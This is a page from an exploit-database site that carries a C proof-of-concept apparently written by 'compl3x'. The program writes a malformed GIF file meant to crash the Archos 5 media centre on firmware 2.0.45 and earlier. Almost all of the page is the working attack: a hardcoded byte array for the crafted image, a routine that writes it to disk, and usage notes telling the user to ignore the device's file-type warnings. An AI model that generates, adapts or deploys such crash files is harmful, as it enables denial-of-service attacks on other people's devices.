[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Archos 5/Archos OS 2.0.45 Media Centre GIF Denial Of Service Exploit

Author
compl3x
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16126
Category
dos / poc
Date add
17-05-2011
Platform
windows
#include <stdio.h>

using namespace std;
/*
----------------------------------------------------------------
                                        888  .d8888b.           
                                        888 d88P  Y88b          
                                        888      .d88P          
 .d8888b .d88b.  88888b.d88b.  88888b.  888     8888"  888  888 
d88P"   d88""88b 888 "888 "88b 888 "88b 888      "Y8b. `Y8bd8P' 
888     888  888 888  888  888 888  888 888 888    888   X88K   
Y88b.   Y88..88P 888  888  888 888 d88P 888 Y88b  d88P .d8""8b. 
 "Y8888P "Y88P"  888  888  888 88888P"  888  "Y8888P"  888  888 
                               888                              
                               888                              
                               888                    
-----------------------------------------------------------------
Title: Archos 5/Archos OS 2.0.45 Media Centre GIF Denial Of Service Exploit
Author: compl3x
Site: compl3x.wordpress.com
Contact: complex360@hotmail.co.uk
Twitter: @Complex360
Versions Affected: All (<= 2.0.45)

Ignore prompts about incompatability between device and filetype when copying to device, it WILL work.
If you have any other pictures on the device, you will /probably/ need to move them off the device before having fun with this.
*/


int main(int argc, char **argv)
{
    unsigned char data[] =
    {
    0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, 0xF7, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x80, 0x00, 0x45, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x80, 0x00,
    0x80, 0x80, 0x80, 0x80, 0x80, 0xC0, 0xC0, 0xC0, 0xFE, 0x00, 0x00, 0x00, 0xFE, 0x00, 0xFE, 0xFE,
    0x00, 0x00, 0x00, 0xFE, 0xFE, 0x00, 0xFE, 0x00, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x66, 0x00, 0x00,
    0x99, 0x00, 0x00, 0xCC, 0x00, 0x00, 0xFE, 0x00, 0x33, 0x00, 0x00, 0x33, 0x33, 0x00, 0x33, 0x66,
    0x00, 0x33, 0x99, 0x00, 0x33, 0xCC, 0x00, 0x33, 0xFE, 0x00, 0x66, 0x00, 0x00, 0x66, 0x33, 0x00,
    0x66, 0x66, 0x00, 0x66, 0x99, 0x00, 0x66, 0xCC, 0x00, 0x66, 0xFE, 0x00, 0x99, 0x00, 0x00, 0x99,
    0x33, 0x00, 0x99, 0x66, 0x00, 0x99, 0x99, 0x00, 0x99, 0xCC, 0x00, 0x99, 0xFE, 0x00, 0xCC, 0x00,
    0x00, 0xCC, 0x33, 0x00, 0xCC, 0x66, 0x00, 0xCC, 0x99, 0x00, 0xCC, 0xCC, 0x00, 0xCC, 0xFE, 0x00,
    0xFE, 0x00, 0x00, 0xFE, 0x33, 0x00, 0xFE, 0x66, 0x00, 0xFE, 0x99, 0x00, 0xFE, 0xCC, 0x00, 0xFE,
    0xFE, 0x33, 0x00, 0x00, 0x33, 0x00, 0x33, 0x33, 0x00, 0x66, 0x33, 0x00, 0x99, 0x33, 0x00, 0xCC,
    0x33, 0x00, 0xFE, 0x33, 0x33, 0x00, 0x33, 0x33, 0x33, 0x33, 0x33, 0x66, 0x33, 0x33, 0x99, 0x33,
    0x33, 0xCC, 0x33, 0x33, 0xFE, 0x33, 0x66, 0x00, 0x33, 0x66, 0x33, 0x33, 0x66, 0x66, 0x33, 0x66,
    0x99, 0x33, 0x66, 0xCC, 0x33, 0x66, 0xFE, 0x33, 0x99, 0x00, 0x33, 0x99, 0x33, 0x33, 0x99, 0x66,
    0x33, 0x99, 0x99, 0x33, 0x99, 0xCC, 0x33, 0x99, 0xFE, 0x33, 0xCC, 0x00, 0x33, 0xCC, 0x33, 0x33,
    0xCC, 0x66, 0x33, 0xCC, 0x99, 0x33, 0xCC, 0xCC, 0x33, 0xCC, 0xFE, 0x33, 0xFE, 0x00, 0x33, 0xFE,
    0x33, 0x33, 0xFE, 0x66, 0x33, 0xFE, 0x99, 0x33, 0xFE, 0xCC, 0x33, 0xFE, 0xFE, 0x66, 0x00, 0x00,
    0x66, 0x00, 0x33, 0x66, 0x00, 0x66, 0x66, 0x00, 0x99, 0x66, 0x00, 0xCC, 0x66, 0x00, 0xFE, 0x66,
    0x33, 0x00, 0x66, 0x33, 0x33, 0x66, 0x33, 0x66, 0x66, 0x33, 0x99, 0x66, 0x33, 0xCC, 0x66, 0x33,
    0xFE, 0x66, 0x66, 0x00, 0x66, 0x66, 0x33, 0x66, 0x66, 0x66, 0x66, 0x66, 0x99, 0x66, 0x66, 0xCC,
    0x66, 0x66, 0xFE, 0x66, 0x99, 0x00, 0x66, 0x99, 0x33, 0x66, 0x99, 0x66, 0x66, 0x99, 0x99, 0x66,
    0x99, 0xCC, 0x66, 0x99, 0xFE, 0x66, 0xCC, 0x00, 0x66, 0xCC, 0x33, 0x66, 0xCC, 0x66, 0x66, 0xCC,
    0x99, 0x66, 0xCC, 0xCC, 0x66, 0xCC, 0xFE, 0x66, 0xFE, 0x00, 0x66, 0xFE, 0x33, 0x66, 0xFE, 0x66,
    0x66, 0xFE, 0x99, 0x66, 0xFE, 0xCC, 0x66, 0xFE, 0xFE, 0x99, 0x00, 0x00, 0x99, 0x00, 0x33, 0x99,
    0x00, 0x66, 0x99, 0x00, 0x99, 0x99, 0x00, 0xCC, 0x99, 0x00, 0xFE, 0x99, 0x33, 0x00, 0x99, 0x33,
    0x33, 0x99, 0x33, 0x66, 0x99, 0x33, 0x99, 0x99, 0x33, 0xCC, 0x99, 0x33, 0xFE, 0x99, 0x66, 0x00,
    0x99, 0x66, 0x33, 0x99, 0x66, 0x66, 0x99, 0x66, 0x99, 0x99, 0x66, 0xCC, 0x99, 0x66, 0xFE, 0x99,
    0x99, 0x00, 0x99, 0x99, 0x33, 0x99, 0x99, 0x66, 0x99, 0x99, 0x99, 0x99, 0x99, 0xCC, 0x99, 0x99,
    0xFE, 0x99, 0xCC, 0x00, 0x99, 0xCC, 0x33, 0x99, 0xCC, 0x66, 0x99, 0xCC, 0x99, 0x99, 0xCC, 0xCC,
    0x99, 0xCC, 0xFE, 0x99, 0xFE, 0x00, 0x99, 0xFE, 0x33, 0x99, 0xFE, 0x66, 0x99, 0xFE, 0x99, 0x99,
    0xFE, 0xCC, 0x99, 0xFE, 0xFE, 0xCC, 0x00, 0x00, 0xCC, 0x00, 0x33, 0xCC, 0x00, 0x66, 0xCC, 0x00,
    0x99, 0xCC, 0x00, 0xCC, 0xCC, 0x00, 0xFE, 0xCC, 0x33, 0x00, 0xCC, 0x33, 0x33, 0xCC, 0x33, 0x66,
    0xCC, 0x33, 0x99, 0xCC, 0x33, 0xCC, 0xCC, 0x33, 0xFE, 0xCC, 0x66, 0x00, 0xCC, 0x66, 0x33, 0xCC,
    0x66, 0x66, 0xCC, 0x66, 0x99, 0xCC, 0x66, 0xCC, 0xCC, 0x66, 0xFE, 0xCC, 0x99, 0x00, 0xCC, 0x99,
    0x33, 0xCC, 0x99, 0x66, 0xCC, 0x99, 0x99, 0xCC, 0x99, 0xCC, 0xCC, 0x99, 0xFE, 0xCC, 0xCC, 0x00,
    0xCC, 0xCC, 0x33, 0xCC, 0xCC, 0x66, 0xCC, 0xCC, 0x99, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xFE, 0xCC,
    0xFE, 0x00, 0xCC, 0xFE, 0x33, 0xCC, 0xFE, 0x66, 0xCC, 0xFE, 0x99, 0xCC, 0xFE, 0xCC, 0xCC, 0xFE,
    0xFE, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x33, 0xFE, 0x00, 0x66, 0xFE, 0x00, 0x99, 0xFE, 0x00, 0xCC,
    0xFE, 0x00, 0xFE, 0xFE, 0x33, 0x00, 0xFE, 0x33, 0x33, 0xFE, 0x33, 0x66, 0xFE, 0x33, 0x99, 0xFE,
    0x33, 0xCC, 0xFE, 0x33, 0xFE, 0xFE, 0x66, 0x00, 0xFE, 0x66, 0x33, 0xFE, 0x66, 0x66, 0xFE, 0x66,
    0x99, 0xFE, 0x66, 0xCC, 0xFE, 0x66, 0xFE, 0xFE, 0x99, 0x00, 0xFE, 0x99, 0x33, 0xFE, 0x99, 0x66,
    0xFE, 0x99, 0x99, 0xFE, 0x99, 0xCC, 0xFE, 0x99, 0xFE, 0xFE, 0xCC, 0x00, 0xFE, 0xCC, 0x33, 0xFE,
    0xCC, 0x66, 0xFE, 0xCC, 0x99, 0xFE, 0xCC, 0xCC, 0xFE, 0xCC, 0xFE, 0xFE, 0xFE, 0x00, 0xFE, 0xFE,
    0x33, 0xFE, 0xFE, 0x66, 0xFE, 0xFE, 0x99, 0xFE, 0xFE, 0xCC, 0xFE, 0xFE, 0xFE, 0x21, 0xF9, 0x04,
    0x01, 0x00, 0x00, 0x10, 0x00, 0x2C, 0xF0, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
    0x04, 0x00, 0xFE, 0x05, 0x04, 0x00, 0x3B,
    } ;

    printf("\n[+] Archos 5 2.0.45 GIF Crash Bug By Complex <complex360@hotmail.co.uk>");

    if(argc != 2)
    {
        printf("[+] Usage: %s <filename.gif>\n", argv[0]);
        return 0;
    }

    FILE* pFile;
    pFile = fopen(argv[1], "wb");
    if(pFile == NULL)
    {
        printf("[-] Error creating file");
        return 0;
    }

    fwrite(data, 1, sizeof(data), pFile);

    printf("[+] File: \"%s\"\n", argv[1]);
    printf("[+] Written %d bytes\n", sizeof(data));

    fclose(pFile);

    return 0;
}



#  0day.today [2024-12-24]  #